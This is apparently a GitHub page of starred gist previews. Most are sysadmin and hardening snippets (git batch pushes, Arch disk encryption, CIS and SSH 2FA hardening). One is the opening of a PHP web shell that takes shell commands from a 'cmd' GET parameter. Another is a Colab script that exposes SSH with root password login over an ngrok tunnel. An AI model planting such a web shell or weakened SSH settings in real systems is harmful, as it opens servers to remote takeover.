Skip to content

Instantly share code, notes, and snippets.

View Bugaddr's full-sized avatar

Pranay Pawar Bugaddr

View GitHub Profile
@archie9211
archie9211 / colab-ssh-jupyter.sh
Last active August 27, 2021 13:26
Google colab ssh and jupyter lab script
# create an account on ngrok is not already and copy the authtoken and
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
read -p 'Enter the authtoken from ngrok :' authtoken
./ngrok authtoken $authtoken #for example ZT64bWYnXTAsJej4FNFTdsjhsuAQqKqZHn2Sh4g2sfAD
./ngrok tcp 22 &
apt-get install -qq -o=Dpkg::Use-Pty=0 openssh-server pwgen > /dev/null
mkdir -p /var/run/sshd
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config && echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
echo "LD_LIBRARY_PATH=/usr/lib64-nvidia" >> /root/.bashrc && echo "export LD_LIBRARY_PATH" >> /root/.bashrc
@mika76
mika76 / stars.ps1
Last active August 14, 2025 12:09 — forked from sebble/stars.sh
List all starred repositories of a GitHub user.
[CmdletBinding()]
param (
[Parameter()]
[string]
$user = "mika76"
)
$URL = "https://api.github.com/users/$user/starred"
$PAGE = 0
@Sacristan
Sacristan / push_commits_by_chunks.sh
Last active March 3, 2026 08:40
Push commits by chunks
REMOTE=origin
BRANCH=$(git rev-parse --abbrev-ref HEAD)
BATCH_SIZE=10
# check if the branch exists on the remote
# if git show-ref --quiet --verify refs/remotes/$REMOTE/$BRANCH; then
# # if so, only push the commits that are not on the remote already
# range=$REMOTE/$BRANCH..HEAD
# else
# # else push all the commits
@huntrar
huntrar / full-disk-encryption-arch-uefi.md
Last active March 1, 2026 00:14
Arch Linux Full-Disk Encryption Installation Guide [Encrypted Boot, UEFI, NVMe, Evil Maid]

Arch Linux Full-Disk Encryption Installation Guide

This guide provides instructions for an Arch Linux installation featuring full-disk encryption via LVM on LUKS and an encrypted boot partition (GRUB) for UEFI systems.

Following the main installation are further instructions to harden against Evil Maid attacks via UEFI Secure Boot custom key enrollment and self-signed kernel and bootloader.

Preface

You will find most of this information pulled from the Arch Wiki and other resources linked thereof.

Note: The system was installed on an NVMe SSD, substitute /dev/nvme0nX with /dev/sdX or your device as needed.

@lizthegrey
lizthegrey / attributes.rb
Last active February 5, 2026 21:27
Hardening SSH with 2fa
default['sshd']['sshd_config']['AuthenticationMethods'] = 'publickey,keyboard-interactive:pam'
default['sshd']['sshd_config']['ChallengeResponseAuthentication'] = 'yes'
default['sshd']['sshd_config']['PasswordAuthentication'] = 'no'
@maxrodrigo
maxrodrigo / git-split-and-push.sh
Last active August 28, 2024 08:29
Split a repository into batches to avoid `pack exceeds maximum allowed size` on push
# Split a repository into batches to avoid `pack exceeds maximum allowed size` on git push
REMOTE=origin
BRANCH=$(git rev-parse --abbrev-ref HEAD)
BATCH_SIZE=500
# check if the branch exists on the remote
if git show-ref --quiet --verify refs/remotes/$REMOTE/$BRANCH; then
# if so, only push the commits that are not on the remote already
range=$REMOTE/$BRANCH..HEAD
@navicore
navicore / centos7_cis.sh
Created October 25, 2018 23:53
centos7 cis hardening via bash
#!/bin/sudo bash
PROFILE="Level 1 - Server"
if [ "$PROFILE" = "Level 1 - Server" ] || [ "$PROFILE" = "Level 2 - Server" ]; then
echo \*\*\*\* Executing Level 1 - Server profile remediation
# Ensure mounting of cramfs filesystems is disabled
echo
echo \*\*\*\* Ensure\ mounting\ of\ cramfs\ filesystems\ is\ disabled
modprobe -n -v cramfs | grep "^install /bin/true$" || echo "install cramfs /bin/true" >> /etc/modprobe.d/CIS.conf
@mohanpedala
mohanpedala / bash_strict_mode.md
Last active March 24, 2026 05:45
set -e, -u, -o, -x pipefail explanation
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@rickyzhang82
rickyzhang82 / keycode.linux
Created September 15, 2017 22:11
Key code for Linux
# /usr/share/BasiliskII/keycodes
#
# Basilisk II (C) 1997-2005 Christian Bauer
#
# This file is used to translate the (server-specific) scancodes to
# Mac keycodes depending on the window server being used.
#
# The format of this file is as follows:
#
# sdl <driver string>